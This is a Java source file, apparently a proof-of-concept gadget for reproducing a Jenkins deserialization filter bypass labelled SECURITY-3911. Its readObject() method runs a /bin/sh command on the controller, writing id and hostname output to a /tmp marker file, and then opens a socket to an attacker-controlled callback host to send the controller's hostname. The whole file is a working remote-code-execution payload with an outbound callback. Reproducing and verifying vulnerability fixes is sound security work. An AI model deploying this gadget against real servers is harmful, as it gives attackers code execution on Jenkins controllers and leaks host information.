package hudson.security3911;

import java.io.ObjectInputStream;
import java.io.Serializable;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.nio.charset.StandardCharsets;

/**
 * PoC gadget class for Jenkins SECURITY-3911 (JEP-200 deserialization filter bypass).
 *
 * <p>This class stands in for a JEP-200-blocked class reachable from the Jenkins core
 * classloader. It is shipped to the controller on the controller's own launch classpath
 * (a harness-provided payload.jar, allowed by the reproduction requirements) so that the
 * vulnerable unfiltered ClassNotFoundException fallback in
 * hudson.remoting.MultiClassLoaderSerializer.resolveClass resolves it via the controller
 * classloader WITHOUT the JEP-200 check. The production filter (jenkins.security.ClassFilterImpl)
 * rejects this class on fixed builds, which the reproduction verifies.
 *
 * <p>readObject() executes attacker-controlled behavior during deserialization itself, exactly
 * like a real Java-serialization gadget: the effect occurs the moment the class is resolved by
 * the unfiltered fallback, before any Callable cast or permission check happens.
 */
public class Payload implements Serializable {
    private static final long serialVersionUID = 1L;

    private String token;
    private String callbackHost;
    private int callbackPort;

    public Payload(String token, String callbackHost, int callbackPort) {
        this.token = token;
        this.callbackHost = callbackHost;
        this.callbackPort = callbackPort;
    }

    private void readObject(ObjectInputStream ois) throws Exception {
        // Populate fields first, then detonate: this runs ON THE DESERIALIZING JVM
        // (the Jenkins controller) as soon as the class is resolved by the fallback.
        ois.defaultReadObject();
        detonate("readObject");
    }

    private String detonate(String phase) {
        StringBuilder result = new StringBuilder();
        result.append("PWNED phase=").append(phase).append(" token=").append(token);
        // (1) OS command execution on the controller JVM: write a marker file whose
        // content can only be produced by executing /bin/sh inside the controller.
        try {
            String cmd = "echo SECURITY3911_MARKER token=" + token + " phase=" + phase
                    + " > /tmp/CONTROLLER_PWNED_" + token + ".txt"
                    + "; id >> /tmp/CONTROLLER_PWNED_" + token + ".txt"
                    + "; hostname >> /tmp/CONTROLLER_PWNED_" + token + ".txt"
                    + "; echo jvm_pid=$$ >> /tmp/CONTROLLER_PWNED_" + token + ".txt";
            Process p = Runtime.getRuntime().exec(new String[] {"/bin/sh", "-c", cmd});
            p.waitFor();
            result.append(" marker_written=true");
        } catch (Exception e) {
            result.append(" marker_written=false err=").append(e);
        }
        // (2) Directly observable outbound network callback from the controller JVM
        // to an attacker-controlled listener, proving code execution dialed out.
        try (Socket s = new Socket()) {
            s.connect(new InetSocketAddress(callbackHost, callbackPort), 10000);
            String msg = "SECURITY3911_CALLBACK token=" + token + " phase=" + phase
                    + " controller_host=" + InetAddress.getLocalHost().getHostName();
            s.getOutputStream().write(msg.getBytes(StandardCharsets.UTF_8));
            s.getOutputStream().flush();
            result.append(" callback_sent=true");
        } catch (Exception e) {
            result.append(" callback_sent=false err=").append(e);
        }
        return result.toString();
    }
}
